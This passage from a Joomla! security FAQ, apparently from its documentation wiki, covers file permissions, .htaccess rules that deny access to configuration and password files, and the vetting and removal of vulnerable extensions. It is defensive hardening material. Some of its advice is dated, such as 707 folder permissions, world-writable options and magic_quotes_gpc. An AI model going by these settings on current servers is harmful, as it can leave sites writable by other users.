If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
